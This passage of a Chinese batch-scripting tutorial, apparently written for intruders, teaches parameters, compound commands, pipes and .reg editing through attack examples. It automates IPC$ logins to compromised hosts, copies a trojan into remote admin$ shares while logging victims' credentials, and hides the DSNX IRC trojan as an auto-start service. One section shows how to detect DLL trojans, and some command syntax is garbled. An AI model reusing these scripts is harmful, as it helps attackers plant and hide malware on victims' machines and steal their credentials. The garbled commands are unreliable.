二.如何在批處理文件中使用參數(shù)?
批處理中可以使用參數(shù),一般從1%到 9%這九個(gè),當(dāng)有多個(gè)參數(shù)時(shí)需要用shift來移動(dòng),這種情況并不多見,我們就不考慮它了。?
sample1: fomat.bat?
@echo off?
if "%1"=="a" format a:?
:format?
@format a:/q/u/auotset?
@echo please insert another disk to driver A.?
@pause?
@goto fomat?
這個(gè)例子用于連續(xù)地格式化幾張軟盤,所以用的時(shí)候需在dos窗口輸入fomat.bat a,呵呵,好像有點(diǎn)畫蛇添足了~?
sample2:?
當(dāng)我們要建立一個(gè)IPC$連接地時(shí)候總要輸入一大串命令,弄不好就打錯(cuò)了,所以我們不如把一些固定命令寫入一個(gè)批處理,把肉雞地ip password username 當(dāng)著參數(shù)來賦給這個(gè)批處理,這樣就不用每次都打命令了。?
@echo off?
@net use?\\1%\ipc$?"2%" /u:"3%" 注意哦,這里PASSWORD是第二個(gè)參數(shù)。?
@if errorlevel 1 echo connection failed?
怎么樣,使用參數(shù)還是比較簡單的吧?你這么帥一定學(xué)會(huì)了 .No.3?
三.如何使用組合命令(Compound Command)
1.&
Usage :第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功
Sample :?
C:\>dir z: & dir c:\Ex4rch?
The system cannot find the path specified.?
Volume in drive C has no label.?
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .?
2002-05-14 23:51 ..?
2002-05-14 23:51 14 sometips.gif
2.&&
Usage :第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒有出錯(cuò)則一直執(zhí)行完所有命令;
Sample :?
C:\>dir z: && dir c:\Ex4rch?
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:?
Volume in drive C has no label.?
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .?
2002-05-14 23:55 ..?
2002-05-14 23:55 14 sometips.gif?
1 File(s) 14 bytes?
2 Dir(s) 768,671,744 bytes free?
The system cannot find the path specified.
在做備份的時(shí)候可能會(huì)用到這種命令會(huì)比較簡單,如:?
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup?
如果遠(yuǎn)程服務(wù)器上存在backup.mdb文件,就執(zhí)行copy命令,若不存在該文件則不執(zhí)行copy命令。這種用法可以替換IF exist了 :)
3.││
Usage :第一條命令 ││ 第二條命令 [││ 第三條命令...]
用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;
Sample :?
C:\Ex4rch>dir sometips.gif ││ del sometips.gif?
Volume in drive C has no label.?
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif?
1 File(s) 14 bytes?
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:?
sample:?
@copy trojan.exe?\\%1\admin$\system32?&& if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1.│ 命令?
Usage:第一條命令 │ 第二條命令 [│ 第三條命令 ...]?
將第一條命令的結(jié)果作為第二條命令的參數(shù)來使用,記得在unix中這種方式很常見。
sample :?
time /t>>D:\IP.log?
netstat -n -p tcp│find ":3389">>D:\IP.log?
start Explorer?
看出來了么?用于終端服務(wù)允許我們?yōu)橛脩糇远x起始的程序,來實(shí)現(xiàn)讓用戶運(yùn)行下面這個(gè)bat,以獲得登錄用戶的IP。
2.> 、>>輸出重定向命令?
將一條命令或某個(gè)程序輸出結(jié)果的重定向到特定文件中, > 與 >>的區(qū)別在于,>會(huì)清除調(diào)原有文件中的內(nèi)容后寫入指定文件,而>>只會(huì)追加內(nèi)容到指定文件中,而不會(huì)改動(dòng)其中的內(nèi)容。
sample1 :?
echo hello world>c:\hello.txt (stupid example?)
sample2:?
時(shí)下DLL木馬盛行,我們知道system32是個(gè)捉迷藏的好地方,許多木馬都削尖了腦袋往那里鉆,DLL馬也不例外,針對(duì)這一點(diǎn)我們可以在安裝好系統(tǒng)和必要的應(yīng)用程序后,對(duì)該目錄下的EXE和DLL文件作一個(gè)記錄:?
運(yùn)行CMD--轉(zhuǎn)換目錄到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,?
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中 ,?
日后如發(fā)現(xiàn)異常但用傳統(tǒng)的方法查不出問題時(shí),則要考慮是不是系統(tǒng)中已經(jīng)潛入DLL木馬了 .?
這時(shí)我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然后運(yùn)行 :?
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前后兩次的DLL和EXE文件,并將結(jié)果輸入到diff.txt中),這樣我們就能發(fā)現(xiàn)一些多出來的DLL和EXE文件,然后通過查看創(chuàng)建時(shí)間、版本、是否經(jīng)過壓縮等就能夠比較容易地判斷出是不是已經(jīng)被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將后門DLL文件注銷掉,再把它移到回收站里,若系統(tǒng)沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。
3.< 、>& 、 <&?
< 從文件中而不是從鍵盤中讀入命令輸入。?
>& 將一個(gè)句柄的輸出寫入到另一個(gè)句柄的輸入中。?
<& 從一個(gè)句柄讀取輸入并將其寫入到另一個(gè)句柄輸出中。?
這些并不常用,也就不多做介紹。
No.5?
五.如何用批處理文件來操作注冊(cè)表
在入侵過程中經(jīng)常回操作注冊(cè)表的特定的鍵值來實(shí)現(xiàn)一定的目的,例如:為了達(dá)到隱藏后門、木馬程序而刪除Run下殘余的鍵值。或者創(chuàng)建一個(gè)服務(wù)用以加載后門。當(dāng)然我們也會(huì)修改注冊(cè)表來加固系統(tǒng)或者改變系統(tǒng)的某個(gè)屬性,這些都需要我們對(duì)注冊(cè)表操作有一定的了解。下面我們就先學(xué)習(xí)一下如何使用.REG文件來操作注冊(cè)表.(我們可以用批處理來生成一個(gè)REG文件 )?
關(guān)于注冊(cè)表的操作,常見的是創(chuàng)建、修改、刪除。
1. 創(chuàng)建?
創(chuàng)建分為兩種,一種是創(chuàng)建子項(xiàng)(Subkey)
我們創(chuàng)建一個(gè)文件,內(nèi)容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后執(zhí)行該腳本,你就已經(jīng)在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創(chuàng)建了一個(gè)名字為"hacker"的子項(xiàng)。
另一種是創(chuàng)建一個(gè)項(xiàng)目名稱?
那這種文件格式就是典型的文件格式,和你從注冊(cè)表中導(dǎo)出的文件格式一致,內(nèi)容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?
"Invader"="Ex4rch"?
"Door"=C:\\WINNT\\system32\\door.exe?
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下?
新建了:Invader、door、about這三個(gè)項(xiàng)目?
Invader的類型是 "String value"?
door的類型是 "REG SZ value"?
Autodos的類型是"DWORD value"
2. 修改?
修改相對(duì)來說比較簡單,只要把你需要修改的項(xiàng)目導(dǎo)出,然后用記事本進(jìn)行修改,然后導(dǎo)入(regedit /s)即可。
3. 刪除?
我們首先來說說刪除一個(gè)項(xiàng)目名稱,我們創(chuàng)建一個(gè)如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?
"Ex4rch"=-
執(zhí)行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了;
我們?cè)倏纯磩h除一個(gè)子項(xiàng),我們創(chuàng)建一個(gè)如下的腳本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
執(zhí)行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經(jīng)被刪除了。
相信看到這里,.reg文件你基本已經(jīng)掌握了。那么現(xiàn)在的目標(biāo)就是用批處理來創(chuàng)建特定內(nèi)容的.reg文件了,記得我們前面說道的利用重定向符號(hào)可以很容易地創(chuàng)建特定類型的文件。
samlpe1: 如上面的那個(gè)例子,如想生成如下注冊(cè)表文件?
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?
"Invader"="Ex4rch"?
"door"=hex:255?
"Autodos"=dword:000000128?
只需要這樣:?
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg?
@echo "Invader"="Ex4rch">>Sample.reg?
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg?
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:?
我們現(xiàn)在在使用一些比較老的木馬時(shí),可能會(huì)在注冊(cè)表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個(gè)鍵值用來實(shí)現(xiàn)木馬的自啟動(dòng).但是這樣很容易暴露木馬程序的路徑,從而導(dǎo)致木馬被查殺,相對(duì)地若是將木馬程序注冊(cè)為系統(tǒng)服務(wù)則相對(duì)安全一些.下面以配置好地IRC木馬DSNX為例(名為 windrv32.exe)?
@start windrv32.exe?
@attrib +h +r windrv32.exe?
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll?
@echo "windsnx "=- >>patch.dll?
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe?
@regedit /s patch.dll?
@delete patch.dll
@REM [ 刪除DSNXDE在注冊(cè)表中的啟動(dòng)項(xiàng),用sc.exe將之注冊(cè)為系統(tǒng)關(guān)鍵性服務(wù)的同時(shí)將其屬性設(shè)為隱藏和只讀,并config為自啟動(dòng) ]?
@REM 這樣不是更安全.